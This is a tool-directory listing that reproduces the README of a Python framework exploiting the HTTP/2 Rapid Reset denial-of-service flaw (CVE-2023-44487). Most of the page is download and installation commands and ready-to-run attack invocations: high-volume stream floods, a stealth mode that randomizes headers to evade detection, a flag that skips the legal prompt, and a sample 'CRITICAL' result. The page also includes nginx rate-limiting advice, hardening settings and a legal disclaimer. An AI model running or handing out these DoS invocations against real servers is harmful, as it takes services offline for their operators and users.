Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit — Advanced CVE-2023-44487 HTTP/2 Rapid Reset vulnerability exploitation framework. Features multi-connection concurrent attacks, adaptive rate control, stealth mode with randomized headers, real-time metrics, and risk assessment reporting. For authorized penetration testing only. By Sudeepa Wanigarathna | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2023-44487-http2-dos-rapid-reset-exploit
Exploit FrameworksVulnerability AnalysisExploitationWeb SecurityPenetration TestingRed TeamingAdversarial Attack
GitHubcerberusmrxi/cve-2023-44487-http2-dos-rapid-reset-exploit

CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit

View Repository
141 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

Advanced CVE-2023-44487 HTTP/2 Rapid Reset vulnerability exploitation framework. Features multi-connection concurrent attacks, adaptive rate control, stealth mode with randomized headers, real-time metrics, and risk assessment reporting. For authorized penetration testing only. By Sudeepa Wanigarathna

Share

CVE-2023-44487 HTTP/2 DoS Rapid Reset Exploit

Professional Edition v1.0.1 | Author: Sudeepa Wanigarathna

Python Version License Version CVSS


Table of Contents

  • Overview
  • Vulnerability Details
  • Features
  • Requirements
  • Installation
  • Quick Start
  • Usage Guide
  • Configuration Options
  • Docker Support
  • Examples
  • Understanding Results
  • Security Recommendations
  • Legal Disclaimer
  • Author
  • Changelog

  • Overview

    A professional-grade assessment framework for CVE-2023-44487, the HTTP/2 Rapid Reset vulnerability. This tool helps security professionals test and validate systems against one of the most impactful HTTP/2 DoS conditions disclosed in recent years.

    It demonstrates how rapidly creating and resetting HTTP/2 streams can exhaust server resources and lead to Denial of Service (DoS) conditions.

    Key Features at a Glance

    • Multi-Connection Attack Engine — Concurrent HTTP/2 connections
    • Adaptive Rate Control — Dynamic adjustment for maximum effectiveness
    • Stealth Mode — Randomized headers and connection rotation
    • Comprehensive Reporting — JSON/CSV with risk assessment
    • Docker Support — Containerized deployment
    • Real-time Monitoring — Live attack metrics and progress
    • Professional Logging — Colored console output with file logging
    UsageResults

    Vulnerability Details

    CVE-2023-44487: HTTP/2 Rapid Reset Attack

    AttributeValue
    CVE IDCVE-2023-44487
    CVSS Score7.5 (High)
    Attack VectorNetwork
    Attack ComplexityLow
    ImpactDenial of Service (Resource Exhaustion)
    Affected ProtocolsHTTP/2
    Disclosure DateOctober 2023

    Technical Overview

    The vulnerability exploits the HTTP/2 protocol's stream management mechanism:

    1. Stream Creation — Client sends a HEADERS frame to create a new stream
    2. Immediate Reset — Client immediately sends an RST_STREAM frame
    3. Server Processing — Server must process both frames, consuming resources
    4. Resource Exhaustion — Repeated cycles overwhelm server resources

    Impact

    • Resource exhaustion on HTTP/2 servers
    • Potential Denial of Service (DoS)
    • Can affect load balancers, proxies, and CDNs
    • No authentication or special privileges required

    Features

    Core Features

    FeatureDescription
    HTTP/2 SupportFull HTTP/2 protocol implementation using the h2 library
    Multi-ConnectionConcurrent attack across multiple connections
    SSL/TLSHTTPS support with certificate verification options
    Adaptive Rate ControlDynamically adjusts attack rate based on server response
    Stealth ModeRandomized headers and connection rotation
    Real-time MonitoringLive metrics display during the run
    Comprehensive ReportsJSON/CSV output with risk assessment
    Docker SupportContainerized deployment for easy testing

    Advanced Capabilities

    • Proxy Support — Extensible proxy configuration
    • Connection Pooling — Efficient connection management
    • Error Recovery — Graceful handling of connection failures
    • Performance Tuning — Configurable settings for different scenarios
    • CI/CD Integration — Suitable for automated security testing

    Requirements

    System Requirements

    ComponentMinimumRecommended
    OSLinux / macOS / WindowsLinux or macOS
    Python3.7+3.11+
    CPU2 cores4+ cores
    RAM2GB4GB+
    Network100Mbps1Gbps+

    Dependencies

    root@kitploit:~
    h2>=4.1.0,<5.0.0
    aiohttp>=3.8.0,<4.0.0
    

    Installation

    1. Quick Install

    root@kitploit:~
    # Clone the repository
    git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
    cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
    
    # Install dependencies
    pip install -r requirements.txt
    
    # Verify installation
    python3 cve-2023-44487-exploit.py --help
    

    2. Virtual Environment (Recommended)

    root@kitploit:~
    # Create virtual environment
    python3 -m venv venv
    
    # Activate virtual environment
    # On Linux/macOS:
    source venv/bin/activate
    # On Windows:
    venv\Scripts\activate
    
    # Install dependencies
    pip install -r requirements.txt
    

    3. Docker Installation

    root@kitploit:~
    # Build Docker image
    docker build -t cve-2023-44487-exploit .
    
    # Run with Docker
    docker run --rm cve-2023-44487-exploit target.com
    

    4. Manual Installation

    root@kitploit:~
    # Install without requirements.txt
    pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
    
    # Download the exploit
    wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
    
    # Make executable
    chmod +x cve-2023-44487-exploit.py
    

    Quick Start

    Basic Usage

    root@kitploit:~
    # Simple run with default settings
    python3 cve-2023-44487-exploit.py example.com
    
    # Test HTTPS on port 443
    python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
    
    # Test HTTP on port 80
    python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
    

    Quick Test (5 seconds)

    root@kitploit:~
    python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
    

    Full Assessment (60 seconds)

    root@kitploit:~
    python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
    

    Usage Guide

    Command Line Options

    Target Configuration

    OptionDescriptionDefault
    hostTarget hostname or IPRequired
    -p, --portTarget port443
    --no-sslDisable SSL/TLSFalse
    --no-verifySkip SSL verificationFalse

    Attack Configuration

    OptionDescriptionDefault
    -c, --connectionsNumber of concurrent connections50
    -s, --streamsStreams per connection1000
    -d, --durationDuration in seconds30
    --max-streamsMaximum total streams100000
    --delayBase delay between operations0.0001s

    Advanced Options

    OptionDescriptionDefault
    --adaptiveAdaptive rate controlTrue
    --target-rpsTarget requests per second10000
    --stealthStealth mode (random headers)False
    --skip-validationSkip target validationFalse
    --forceSkip legal disclaimer promptFalse

    Reporting

    OptionDescriptionDefault
    -o, --outputOutput file nameexploit_results.json
    --formatOutput format (json / csv / console)json
    -v, --verboseVerbose loggingFalse

    Configuration Options

    Use the CLI flags above to tune concurrency, stream volume, duration, and reporting. Prefer lower -c / -s / -d values for initial validation, then scale only on systems you are authorized to stress-test.

    ScenarioSuggested flags
    Smoke test-c 10 -s 100 -d 5
    Standard assessment-c 50 -s 1000 -d 30
    High-load lab test-c 100 -s 2000 -d 60 --stealth
    Untrusted cert--no-verify
    Plain HTTP-p 80 --no-ssl

    Docker Support

    Build Image

    root@kitploit:~
    docker build -t cve-2023-44487-exploit .
    

    Run Basic Assessment

    root@kitploit:~
    docker run --rm cve-2023-44487-exploit target.com
    

    Run with Custom Parameters

    root@kitploit:~
    docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
    

    Save Results Locally

    root@kitploit:~
    docker run --rm -v "$(pwd)/results:/app/results" \
      cve-2023-44487-exploit target.com -o /app/results/report.json
    

    Interactive Mode

    root@kitploit:~
    docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
    

    Docker Compose

    root@kitploit:~
    # Start with docker-compose
    docker-compose up
    
    # Run with a custom command
    docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
    

    Examples

    1. Basic HTTPS Assessment

    root@kitploit:~
    python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
    

    2. HTTP Assessment (No SSL)

    root@kitploit:~
    python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
    

    3. High-Performance Lab Run

    root@kitploit:~
    python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
    

    4. Stealth Mode

    root@kitploit:~
    python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
    

    5. Quick Validation Test

    root@kitploit:~
    python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
    

    6. Generate CSV Report

    root@kitploit:~
    python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
    

    7. Skip Validation

    root@kitploit:~
    python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
    

    8. Authorized Production Test

    root@kitploit:~
    python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
      -c 100 -s 2000 -d 60 --stealth -o full_report.json
    

    Understanding Results

    Output Metrics

    MetricDescriptionInterpretation
    Total StreamsNumber of streams createdHigher count = more load generated
    Successful ResetsStreams successfully resetTypically >90% on vulnerable targets
    Reset Rate (RPS)Resets per secondHigher rate = more effective load
    Success RatePercentage of successful resets>90% often indicates exposure
    Connection ErrorsFailed connectionsLow = stable connectivity
    Server ResetsServer-initiated resetsHigh = protective measures present

    Risk Assessment Levels

    LevelScoreMeaning
    CRITICAL80–100Server highly vulnerable
    HIGH60–79Server vulnerable, some protection
    MEDIUM40–59Some protection in place
    LOW0–39Well-protected server

    Sample Output

    root@kitploit:~
    ================================================================================
    EXPLOIT EXECUTION SUMMARY
    ================================================================================
    Target: target.com:443
    Duration: 30.00s
    Total Streams: 15,234
    Successful Resets: 15,198
    Reset Rate: 506.6/s
    Success Rate: 99.76%
    Connection Errors: 0
    --------------------------------------------------------------------------------
    RISK ASSESSMENT
    --------------------------------------------------------------------------------
    Risk Level: CRITICAL
    Risk Score: 95/100
    Factors:
      - Extremely high reset rate accepted
      - Very high success rate
    ================================================================================
    

    Security Recommendations

    For System Administrators

    Immediate Actions

    1. Apply Security Patches

      • Update to latest HTTP/2 implementations
      • Apply vendor-specific security patches
      • Update load balancers and proxies
    2. Implement Rate Limiting

      root@kitploit:~
      # Nginx rate limiting example
      http {
          limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
          limit_req zone=http2 burst=20 nodelay;
      }
      
    3. Connection Limits

      root@kitploit:~
      # Limit connections per client
      limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
      limit_conn conn_zone 10;
      

    Configuration Hardening

    SettingRecommendation
    Max Concurrent StreamsSet to 100–200 per connection
    Stream Reset RateLimit to <100/sec per client
    Connection LimitMax 50–100 connections per IP
    Timeout ValuesReduce idle timeouts
    Request Size LimitsLimit header sizes and payload

    Monitoring

    root@kitploit:~
    # Monitor HTTP/2 connections
    netstat -an | grep 443 | grep ESTABLISHED | wc -l
    
    # Monitor reset-related log entries (example)
    grep "RST_STREAM" /var/log/nginx/error.log | wc -l
    

    Recommended Security Controls

    • Rate Limiting — Implement per-client stream limits
    • Connection Throttling — Limit connections per IP
    • Resource Limits — Set connection timeout values
    • Monitoring — Enable logging and alerts for anomalies
    • WAF Rules — Implement HTTP/2-specific WAF rules
    • Patch Management — Regular security updates
    • Incident Response — Have a plan for DoS attacks

    Legal Disclaimer

    IMPORTANT: READ THIS CAREFULLY BEFORE USING THIS TOOL

    This tool is provided for authorized security testing and educational purposes only.

    Terms of Use

    By using this tool, you acknowledge and agree that:

    1. You have explicit written permission to test the target system
    2. You understand the risks and potential impact of this assessment
    3. You will comply with all applicable laws and regulations
    4. You accept full responsibility for your actions
    5. You will not use this tool for unauthorized activities

    Prohibited Uses

    This tool must NOT be used for:

    • Unauthorized testing or attacks
    • Denial of service against systems you do not own or have permission to test
    • Disrupting production systems without authorization
    • Causing financial harm
    • Any illegal activities

    Liability Statement

    THE AUTHOR AND CONTRIBUTORS PROVIDE THIS TOOL "AS IS" WITHOUT ANY WARRANTY. USE OF THIS TOOL IS AT YOUR OWN RISK. THE AUTHOR IS NOT RESPONSIBLE FOR ANY DAMAGES OR LEGAL ISSUES RESULTING FROM THE USE OF THIS TOOL.

    Unauthorized use of this tool may violate laws including but not limited to:

    • Computer Fraud and Abuse Act (CFAA) — USA
    • Computer Misuse Act — UK
    • General Data Protection Regulation (GDPR) — EU
    • Other relevant local, national, and international laws

    Author

    Sudeepa Wanigarathna

    • Security Researcher & Penetration Tester
    • Specializing in Application Security & Protocol Vulnerabilities
    • GitHub
    • LinkedIn

    Changelog

    Version 1.0.1 (Current)

    • Fixed connection_attempts attribute error
    • Improved SSL/ALPN validation
    • Added timeout handling
    • Enhanced error recovery
    • Added --skip-validation flag
    • Improved Docker support

    Version 1.0.0 (Initial)

    • Initial release of professional edition
    • Multi-connection attack engine
    • Adaptive rate control
    • Stealth mode
    • Comprehensive reporting
    • Docker support

    License

    This project is licensed under the MIT License — see the LICENSE file for details.


    Acknowledgments

    • HTTP/2 Protocol Team
    • Security researchers who identified CVE-2023-44487
    • Open source community (h2, aiohttp projects)

    References

    • CVE-2023-44487 NVD Entry
    • HTTP/2 Rapid Reset Attack Analysis
    • HTTP/2 Protocol Specification (RFC 9113)
    • Nginx HTTP/2 Security Advisory
    • Apache HTTP/2 Security Guide

    Support

    For issues and questions:

    • GitHub Issues: Submit an issue
    • Email: [email protected]
    • Security Contact: If you find a vulnerability in this project, please report it responsibly.

    Quick Reference Card

    root@kitploit:~
    # Quick Commands
    
    # Test HTTPS (skip cert verify)
    python3 cve-2023-44487-exploit.py target.com --no-verify
    
    # Test HTTP
    python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
    
    # Quick test (5 seconds)
    python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
    
    # Full assessment
    python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
    
    # Skip validation
    python3 cve-2023-44487-exploit.py target.com --skip-validation
    
    # Docker
    docker run --rm cve-2023-44487-exploit target.com
    
    # Help
    python3 cve-2023-44487-exploit.py --help
    

    REMINDER: Always obtain proper authorization before testing any system. Use this tool responsibly and ethically.


    Maintained by Sudeepa Wanigarathna | Last Updated: August 2026

    Download Tool